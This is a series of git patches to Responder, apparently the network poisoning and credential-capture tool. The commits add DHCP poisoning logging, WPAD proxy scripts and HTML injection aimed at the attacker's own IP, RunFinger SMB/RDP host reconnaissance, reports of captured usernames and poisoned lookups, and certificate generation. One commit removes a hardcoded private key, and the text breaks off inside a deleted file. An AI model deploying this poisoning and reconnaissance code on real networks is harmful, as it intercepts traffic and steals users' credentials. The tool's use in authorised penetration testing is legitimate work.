for Ln in Line: + m = re.search("/", str(Ln)) + if m: + net,_,mask = Ln.partition('/') + mask = int(mask) + net = atod(net) + threads = [] + Pool = multiprocessing.Pool(processes=250) + func = ShowSmallResults + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + proc = Pool.apply_async(func, ((host),)) + threads.append(proc) + for proc in threads: + proc.get() + else: + ShowSmallResults(Ln) + + if Filename == None: + m = re.search("/", str(Host)) + if m: + net,_,mask = Host.partition('/') + mask = int(mask) + net = atod(net) + threads = [] + Pool = multiprocessing.Pool(processes=250) + func = ShowSmallResults + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + proc = Pool.apply_async(func, ((host),)) + threads.append(proc) + for proc in threads: + proc.get() + else: + ShowSmallResults(Host) + + RunFinger(Host) From 0bf23d632b5232626e406b31f123db4be51712be Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 20 Nov 2021 21:36:00 -0300 Subject: [PATCH 095/219] DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string --- Responder.conf | 9 +++--- settings.py | 83 ++++++++++++++++++++++++++------------------------ 2 files changed, 48 insertions(+), 44 deletions(-) mode change 100644 => 100755 Responder.conf diff --git a/Responder.conf b/Responder.conf old mode 100644 new mode 100755 index 19f9b9d..5c1b94e --- a/Responder.conf +++ b/Responder.conf @@ -44,6 +44,7 @@ RespondTo = ; Example: RespondTo = WPAD, DEV, PROD, SQLINT ;RespondToName = WPAD, DEV, PROD, SQLINT RespondToName = + ; Specific IP Addresses not to respond to (default = None) ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = @@ -88,12 +89,12 @@ ExeFilename = ;files/filetoserve.exe ExeDownloadName = ProxyClient.exe ; Custom WPAD Script -WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';} +; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address. +WPADScript = ; HTML answer to inject in HTTP responses (before tag). -; Set to an empty string to disable. -; In this example, we redirect make users' browsers issue a request to our rogue SMB server. -HTMLToInject = Loading +; leave empty if you want to use the default one (redirect to SMB on your IP address). +HTMLToInject = [HTTPS Server] diff --git a/settings.py b/settings.py index b728242..20de343 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.7.0' +__version__ = 'Responder 3.0.8.0' class Settings: @@ -114,6 +114,41 @@ class Settings: self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump')) + # CLI options + self.ExternalIP = options.ExternalIP + self.LM_On_Off = options.LM_On_Off + self.NOESS_On_Off = options.NOESS_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.DHCP_On_Off = options.DHCP_On_Off + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Interface = options.Interface + self.OURIP = options.OURIP + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + self.Verbose = options.Verbose + self.ProxyAuth_On_Off = options.ProxyAuth_On_Off + self.CommandLine = str(sys.argv) + + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + + if self.Interface == "ALL": + self.Bind_To_ALL = True + else: + self.Bind_To_ALL = False + + if self.Interface == "ALL": + self.IP_aton = socket.inet_aton(self.OURIP) + else: + self.IP_aton = socket.inet_aton(self.Bind_To) + + self.Os_version = sys.platform + self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') @@ -144,6 +179,12 @@ class Settings: self.WPAD_Script = config.get('HTTP Server', 'WPADScript') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') + if len(self.HtmlToInject) == 0: + self.HtmlToInject = "Loading" + + if len(self.WPAD_Script) == 0: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) @@ -174,44 +215,6 @@ class Settings: self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) self.AutoIgnoreList = [] - # CLI options - self.ExternalIP = options.ExternalIP - self.LM_On_Off = options.LM_On_Off - self.NOESS_On_Off = options.NOESS_On_Off - self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect - self.DHCP_On_Off = options.DHCP_On_Off - self.Basic = options.Basic - self.Finger_On_Off = options.Finger - self.Interface = options.Interface - self.OURIP = options.OURIP - self.Force_WPAD_Auth = options.Force_WPAD_Auth - self.Upstream_Proxy = options.Upstream_Proxy - self.AnalyzeMode = options.Analyze - self.Verbose = options.Verbose - self.ProxyAuth_On_Off = options.ProxyAuth_On_Off - self.CommandLine = str(sys.argv) - - if self.ExternalIP: - self.ExternalIPAton = socket.inet_aton(self.ExternalIP) - - if self.HtmlToInject == None: - self.HtmlToInject = '' - - self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - - if self.Interface == "ALL": - self.Bind_To_ALL = True - else: - self.Bind_To_ALL = False - - if self.Interface == "ALL": - self.IP_aton = socket.inet_aton(self.OURIP) - else: - self.IP_aton = socket.inet_aton(self.Bind_To) - - self.Os_version = sys.platform - # Set up Challenge self.NumChal = config.get('Responder Core', 'Challenge') if self.NumChal.lower() == 'random': @@ -272,7 +275,7 @@ class Settings: RoutingInfo = "Error fetching Routing information:", ex pass - Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) + Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump,str(self)) From 1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 30 Nov 2021 22:21:55 -0300 Subject: [PATCH 096/219] added DHCP db & updated the report script to reflect that --- Report.py | 17 ++++++++++++----- poisoners/DHCP.py | 10 ++++++++++ utils.py | 17 +++++++++++++++++ 3 files changed, 39 insertions(+), 5 deletions(-) diff --git a/Report.py b/Report.py index 7cd5e86..b3ab450 100755 --- a/Report.py +++ b/Report.py @@ -39,7 +39,7 @@ def GetResponderData(cursor): def GetResponderUsernamesStatistic(cursor): res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") for row in res.fetchall(): - print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)) + print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)) def GetResponderUsernames(cursor): res = cursor.execute("SELECT DISTINCT user FROM Responder") @@ -62,11 +62,15 @@ def GetUniqueLookups(cursor): for row in res.fetchall(): print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3])) - +def GetUniqueDHCP(cursor): + res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)") + for row in res.fetchall(): + print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3])) + def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") for row in res.fetchall(): - print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)) + print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)) def SavePoisonersToDb(result): @@ -82,8 +86,11 @@ def SaveToDb(result): result[k] = '' cursor = DbConnect() -print(color("[+] Generating report...", code = 3, modifier = 1)) -print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) +print(color("[+] Generating report...\n", code = 3, modifier = 1)) + +print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) +GetUniqueDHCP(cursor) +print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 2019a29..88fea03 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -263,6 +263,11 @@ def ParseDHCPCode(data, ClientIP): Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) DHCPClient.append(MacAddrStr) + SaveDHCPToDb({ + 'MAC': MacAddrStr, + 'IP': CurrentIP, + 'RequestedIP': IPConv, + }) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover @@ -277,6 +282,11 @@ def ParseDHCPCode(data, ClientIP): Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) DHCPClient.append(MacAddrStr) + SaveDHCPToDb({ + 'MAC': MacAddrStr, + 'IP': CurrentIP, + 'RequestedIP': IPConv, + }) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) def SendDiscover(): diff --git a/utils.py b/utils.py index 11feda0..6cae8c4 100755 --- a/utils.py +++ b/utils.py @@ -210,6 +210,8 @@ def CreateResponderDb(): cursor.commit() cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)') cursor.commit() + cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)') + cursor.commit() cursor.close() def SaveToDb(result): @@ -305,7 +307,22 @@ def SavePoisonersToDb(result): cursor.close() +def SaveDHCPToDb(result): + for k in [ 'MAC', 'IP', 'RequestedIP']: + if not k in result: + result[k] = '' + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets + res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP'])) + (count,) = res.fetchone() + + if not count: + cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP'])) + cursor.commit() + + cursor.close() + def Parse_IPV6_Addr(data): if data[len(data)-4:len(data)][1] ==b'\x1c': return False From 88a2c6a53b721da995fbbd8e5cd82fb40d4af268 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 30 Nov 2021 22:38:07 -0300 Subject: [PATCH 097/219] fix: DHCP now working on VPN interface --- poisoners/DHCP.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 88fea03..52c0857 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -90,9 +90,13 @@ Respond_To_Requests = True DHCPClient = [] def GetMacAddress(Interface): - mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr'] - return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') - + try: + mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr'] + return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') + except: + mac = "00:00:00:00:00:00" + return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') + ##### IP Header ##### class IPHead(Packet): fields = OrderedDict([ From a462d1df061b214eebcabdbe3f95caa5dd8ea3c7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 30 Nov 2021 23:42:04 -0300 Subject: [PATCH 098/219] added timeout option for fine tuning --- tools/RunFinger.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index caa7f7d..156165e 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -22,14 +22,14 @@ from odict import OrderedDict import errno import optparse from RunFingerPackets import * -__version__ = "1.6" +__version__ = "1.7" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) -parser.add_option('-f','--filename', action="store", help="target file", dest="Filename", metavar="ips.txt", default=None) -#Way better to have grepable output by default... -#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") +parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) +parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) + options, args = parser.parse_args() if options.TARGET == None and options.Filename == None: @@ -37,7 +37,8 @@ if options.TARGET == None and options.Filename == None: parser.print_help() exit(-1) -Timeout = 1 +Timeout = options.Timeout +print('Timeout is: ', Timeout) Host = options.TARGET Filename = options.Filename SMB1 = "Enabled" From 826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 30 Nov 2021 23:50:00 -0300 Subject: [PATCH 099/219] removed debug str --- tools/RunFinger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 156165e..07cba92 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -38,7 +38,6 @@ if options.TARGET == None and options.Filename == None: exit(-1) Timeout = options.Timeout -print('Timeout is: ', Timeout) Host = options.TARGET Filename = options.Filename SMB1 = "Enabled" From 51411e6b2087cf9ad061050a96589c19b3567b8f Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 1 Dec 2021 00:08:54 -0300 Subject: [PATCH 100/219] few enhancements --- tools/RunFinger.py | 34 +++++++++------------------------- 1 file changed, 9 insertions(+), 25 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 07cba92..1d11d95 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -194,14 +194,13 @@ def GetHostnameAndDomainName(data): Hostname = data[113:].decode('latin-1') return Hostname, DomainJoined except: - pass return "Could not get Hostname.", "Could not get Domain joined" def DomainGrab(Host): global SMB1 + s = socket(AF_INET, SOCK_STREAM) + s.settimeout(Timeout) try: - s = socket(AF_INET, SOCK_STREAM) - s.settimeout(0.7) s.connect(Host) h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") n = SMBNegoDataLanMan() @@ -221,11 +220,12 @@ def DomainGrab(Host): def SmbFinger(Host): s = socket(AF_INET, SOCK_STREAM) + s.settimeout(Timeout) try: - s.settimeout(Timeout) s.connect(Host) except: pass + try: h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") n = SMBNego(Data = SMBNegoData()) @@ -250,8 +250,8 @@ def SmbFinger(Host): def check_smb_null_session(host): s = socket(AF_INET, SOCK_STREAM) + s.settimeout(Timeout) try: - s.settimeout(Timeout) s.connect(host) h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") n = SMBNego(Data = SMBNegoData()) @@ -295,12 +295,12 @@ def check_smb_null_session(host): #SMB2 part: def ConnectAndChoseSMB(host): + s = socket(AF_INET, SOCK_STREAM) + s.settimeout(Timeout) try: - s = socket(AF_INET, SOCK_STREAM) - s.settimeout(Timeout) s.connect(host) except: - return None + return False h = SMBHeader(cmd="\x72",flag1="\x00") n = SMBNego(Data = SMB2NegoData()) n.calculate() @@ -347,22 +347,6 @@ def handle(data, host): ################## #run it -def ShowResults(Host): - if ConnectAndChoseSMB((Host,445)) == False: - try: - Hostname, DomainJoined = DomainGrab((Host, 445)) - Signing, OsVer, LanManClient = SmbFinger((Host, 445)) - NullSess = check_smb_null_session((Host, 445)) - print(("Retrieving information for %s..."%(Host))) - print(("SMB signing: %s"%(Signing))) - print(("Null Sessions Allowed: %s"%(NullSess))) - print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient))) - print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined))) - print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389))))) - except: - return False - - def ShowSmallResults(Host): if ConnectAndChoseSMB((Host,445)) == False: try: @@ -376,8 +360,8 @@ def ShowSmallResults(Host): def IsRDPOn(Host): s = socket(AF_INET, SOCK_STREAM) + s.settimeout(Timeout) try: - s.settimeout(Timeout) s.connect(Host) if s: return True From f90b76fed202ee4a6e17a030151c8de4430717a8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 2 Dec 2021 22:01:18 -0300 Subject: [PATCH 101/219] Added DB for RunFinger results & Report --- Report.py | 18 +++++++++-- tools/RunFinger.py | 75 ++++++++++++++++++++++++++++++++++++++-------- 2 files changed, 78 insertions(+), 15 deletions(-) diff --git a/Report.py b/Report.py index b3ab450..413ef7b 100755 --- a/Report.py +++ b/Report.py @@ -31,6 +31,10 @@ def DbConnect(): cursor = sqlite3.connect("./Responder.db") return cursor +def FingerDbConnect(): + cursor = sqlite3.connect("./tools/RunFinger.db") + return cursor + def GetResponderData(cursor): res = cursor.execute("SELECT * FROM Responder") for row in res.fetchall(): @@ -66,7 +70,12 @@ def GetUniqueDHCP(cursor): res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)") for row in res.fetchall(): print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3])) - + +def GetRunFinger(cursor): + res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)") + for row in res.fetchall(): + print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9]))) + def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") for row in res.fetchall(): @@ -98,5 +107,8 @@ GetResponderUsernames(cursor) print(color("\n[+] Username details:", code = 2, modifier = 1)) GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) -#print color("\n[+] Captured hashes:", code = 2, modifier = 1) -#GetResponderCompleteHash(cursor) +print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1) +cursor.close() +cursor = FingerDbConnect() +GetRunFinger(cursor) +print('\n') diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 1d11d95..3c0efc8 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -17,11 +17,15 @@ import re,sys,struct import datetime import multiprocessing -from socket import * -from odict import OrderedDict +import os import errno import optparse +import sqlite3 from RunFingerPackets import * +from odict import OrderedDict +from socket import * +from odict import OrderedDict + __version__ = "1.7" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -42,6 +46,7 @@ Host = options.TARGET Filename = options.Filename SMB1 = "Enabled" SMB2signing = "False" +DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" class Packet(): fields = OrderedDict([ @@ -62,6 +67,13 @@ if (sys.version_info > (3, 0)): else: PY2OR3 = "PY2" + +if not os.path.exists(DB): + cursor = sqlite3.connect(DB) + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)') + cursor.commit() + cursor.close() + def StructWithLenPython2or3(endian,data): #Python2... if PY2OR3 == "PY2": @@ -117,7 +129,23 @@ def WorkstationFingerPrint(data): def GetOsBuildNumber(data): ProductBuild = struct.unpack(" Date: Thu, 2 Dec 2021 22:04:32 -0300 Subject: [PATCH 102/219] minor bug when no RunFinger has been launched. --- Report.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/Report.py b/Report.py index 413ef7b..6bbfbbe 100755 --- a/Report.py +++ b/Report.py @@ -109,6 +109,9 @@ GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1) cursor.close() -cursor = FingerDbConnect() -GetRunFinger(cursor) +try: + cursor = FingerDbConnect() + GetRunFinger(cursor) +except: + pass print('\n') From 21afd357f828b586cfa96992c8c978024285b162 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 3 Dec 2021 00:03:01 -0300 Subject: [PATCH 103/219] Removed the static certs and added automatic cert generation --- certs/gen-self-signed-cert.sh | 4 ++-- settings.py | 9 ++++++++- 2 files changed, 10 insertions(+), 3 deletions(-) mode change 100644 => 100755 certs/gen-self-signed-cert.sh diff --git a/certs/gen-self-signed-cert.sh b/certs/gen-self-signed-cert.sh old mode 100644 new mode 100755 index c9b948a..725323c --- a/certs/gen-self-signed-cert.sh +++ b/certs/gen-self-signed-cert.sh @@ -1,3 +1,3 @@ #!/bin/bash -openssl genrsa -out responder.key 2048 -openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" +openssl genrsa -out certs/responder.key 2048 +openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/" diff --git a/settings.py b/settings.py index 20de343..4dbb031 100755 --- a/settings.py +++ b/settings.py @@ -252,7 +252,14 @@ class Settings: self.AnalyzeLogger = logging.getLogger('Analyze Log') self.AnalyzeLogger.addHandler(ALog_Handler) - + + # First time Responder run? + if os.path.isfile(self.ResponderPATH+'/Responder.db'): + pass + else: + #If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null + Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1") + try: NetworkCard = subprocess.check_output(["ifconfig", "-a"]) except: From de778f66982817f1149408bc2e080371d3d4a71d Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 3 Dec 2021 00:05:21 -0300 Subject: [PATCH 104/219] removed default certs --- certs/responder.crt | 18 ------------------ certs/responder.key | 27 --------------------------- 2 files changed, 45 deletions(-) delete mode 100644 certs/responder.crt delete mode 100644 certs/responder.key diff --git a/certs/responder.crt b/certs/responder.crt deleted file mode 100644 index a73bf2b..0000000 --- a/certs/responder.crt +++ /dev/null @@ -1,18 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL -BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG -SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd -0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK -czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/ -V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb -to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o -qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR -MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9 -sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA -A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx -jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4 -p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5 -v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH -Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm -iKqwycWcwlFFUDbwBuOyfbfwjtUf ------END CERTIFICATE----- diff --git a/certs/responder.key b/certs/responder.key deleted file mode 100644 index 0b643da..0000000 --- a/certs/responder.key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N -1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf -E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O -h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH -Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+ -+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx -IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a -vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9 -Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY -HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf -DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj -NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre -hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr -779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t -AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e -oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy -G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3 -xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT -5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I -bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p -XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg -2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF -eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK -jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS -T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM= ------END RSA PRIVATE KEY----- From d425783be994b0d2518633e4b93e13e305685e5b Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 3 Dec 2021 00:08:40 -0300 Subject: [PATCH 105/219] Removed old DHCP script since its now a Responder module. --- tools/DHCP.py | 360 --------------------------------------------- tools/DHCP_Auto.sh | 63 -------- 2 files changed, 423 deletions(-) delete mode 100755 tools/DHCP.py delete mode 100755 tools/DHCP_Auto.sh diff --git a/tools/DHCP.py b/tools/DHCP.py deleted file mode 100755 index b36f8d6..0000000 --- a/tools/DHCP.py +++ /dev/null @@ -1,360 +0,0 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at 